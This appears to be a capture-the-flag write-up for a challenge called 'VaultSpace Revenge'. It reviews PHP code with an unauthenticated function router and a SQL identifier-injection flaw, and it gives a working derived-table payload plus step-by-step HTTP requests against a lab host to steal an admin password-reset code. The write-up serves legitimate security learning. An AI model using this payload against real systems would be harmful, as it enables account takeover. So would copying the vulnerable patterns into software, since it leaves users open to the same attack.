VaultSpace Revenge
Code Review
api_handler.php
What it does: It accepts POST requests. If the body is JSON, it reads action and params. Then it calls a function named by action (with params as arguments) and returns the result as JSON.
// api_handler.php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$contentType = $_SERVER['CONTENT_TYPE'] ?? '';
if (strpos($contentType, 'application/json') !== false) {
$input = json_decode(file_get_contents('php://input'), true);
$action = $input['action'] ?? '';
$params = $input['params'] ?? [];
} else {
$action = $_POST['action'] ?? '';
$params = $_POST['params'] ?? [];
}
$result = safe_call_function($action, $params);
echo json_encode(['status' => 'success', 'data' => $result]);
}Why it’s vulnerable: There’s no authentication or authorization here. If I know the name of an internal helper function that matches the expected pattern, I can execute it as an unauthenticated user and get its return value back as JSON. That turns this endpoint into a capabilities vending machine.
functions.php
safe_call_function()
What it does: It only allows functions whose names start with get_, check_, or set_, verifies they exist, then calls them.
// functions.php
function safe_call_function($function_name, $params = []) {
if (!preg_match('/^(get_|check_|set_)[a-zA-Z0-9_]+$/', $function_name)) {
throw new Exception("Invalid function name format.");
}
if (!function_exists($function_name)) {
throw new Exception("Function '$function_name' does not exist.");
}
return call_user_func_array($function_name, $params);
}Why it’s vulnerable: The regex stops you from calling random PHP built-ins like system, sure. But it doesn’t check who is calling what. Any exported helper that matches the naming rule becomes public. That’s not access control; it’s just a naming convention. In other words, once /api_handler.php is reachable, every “get_/check_/set_*” function is effectively public.
get_file_details()
What it does: Looks up a record by file_name from a caller-supplied “table name”, returns the first column of the row.
// functions.php
function get_file_details($tablename, $file_name) {
global $pdo;
$stmt = $pdo->prepare("SELECT * FROM $tablename WHERE file_name = ? LIMIT 1");
$stmt->bindParam(1, $file_name);
$stmt->execute();
$data = $stmt->fetch(PDO::FETCH_ASSOC);
return $data[0];
}Identifier injection:
Values can be bound with ?, but identifiers (table/column names) cannot. Here, $tablename is concatenated directly into SQL. That lets an attacker pass a crafted subquery instead of a plain table name. Example shape we used:
FROM (SELECT 'a' AS file_name,
(SELECT code FROM users WHERE username='admin') AS `0`) tThis creates a fake “table” with a column that contains the admin’s reset code.
“Magic index” return:
The function returns $data[0]. With PDO::FETCH_ASSOC, $data is associative (by column names). But in PHP, if a key is the string "0", $data[0] will happily return it. So if we alias a column as `0`, the function will return whatever value we pack into that column. That’s why the subquery above names the secret column `0`.
Building the payload
What the API expects
The vulnerable helper is effectively:
get_file_details($tablename, $file_name)Inside, it runs:
SELECT * FROM <tablename> WHERE file_name = ? LIMIT 1and returns the first column of the returned row (via $data[0]
So if you pass:
tablename = uploadsfile_name = "logo.png"
it would select from the real table uploads and return a field from that row.
Our Trick
SQL lets you use a derived table (a subquery that pretends to be a table):
(SELECT 'a' AS file_name,
(SELECT code FROM users WHERE username='admin') AS `0`) tIt creates a pretend table
twith one row and two columns:file_name='a'(just a constant string)`0`= the admin’s reset code (selected from the realuserstable)
So our “table” looks like this in memory:
file_name
0
a
<admin_reset_code>
We chose file_name = 'a' so it will match the WHERE file_name = ? filter.
Why alias the secret column as `0`?
`0`?Because the PHP code returns $data[0].
When PDO fetches rows as an associative array, it looks like:
$row = [
'file_name' => 'a',
'0' => '<admin_reset_code>'
];In PHP, $row[0] will return the value of the '0' key.
So by naming the secret column `0`, we guarantee the function returns exactly the secret.
Final payload
{
"action": "get_file_details",
"params": [
"(SELECT 'a' AS file_name, (SELECT code FROM users WHERE username='admin') AS `0`) t",
"a"
]
}params[0]→ becomes<tablename>in the SQL. We supply our fake table.params[1]→ becomes the?value forfile_name. We pass"a"to match the row.
The database executes:
SELECT *
FROM (SELECT 'a' AS file_name,
(SELECT code FROM users WHERE username='admin') AS `0`) t
WHERE file_name = 'a'
LIMIT 1;The row comes back as {'file_name': 'a', '0': '<code>'} → the PHP returns $row[0] → <code>.
Exploitation steps
Step 1 — request a reset code for admin
adminWe don’t need email. We just need the server to generate a valid, fresh code for the admin account and put $_SESSION['reset_user'] = 'admin' into our session so /reset.php it will accept us as the one performing the reset.
POST /forgot_password.php
Host: 95.217.6.37:20007
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<cookie>
username=adminKeep the same PHPSESSID for the whole flow. The reset page checks your session to confirm you initiated the reset.
Step 2 — Read the secret code back out via the router
We’ll call get_file_details through the unauthenticated router and turn the table name into a derived table that manufactures two columns:
'a' AS file_name(so theWHERE file_name = ?binds cleanly), and(SELECT code FROM users WHERE username='admin') AS \0`` (our secret, aliased as backtick-zero).
POST /api_handler.php
Host: 95.217.6.37:20007
Content-Type: application/json
Cookie: PHPSESSID=<cookie>
{
"action": "get_file_details",
"params": [
"(SELECT 'a' AS file_name, (SELECT code FROM users WHERE username='admin') AS `0`) t",
"a"
]
}What the SQL becomes:
SELECT *
FROM (SELECT 'a' AS file_name,
(SELECT code FROM users WHERE username='admin') AS `0`) t
WHERE file_name = ? LIMIT 1;
-- bound value: "a"What the PHP returns: $row[0] → the value of column `0` → the admin’s reset code. The API wraps it as JSON.

Last updated
Was this helpful?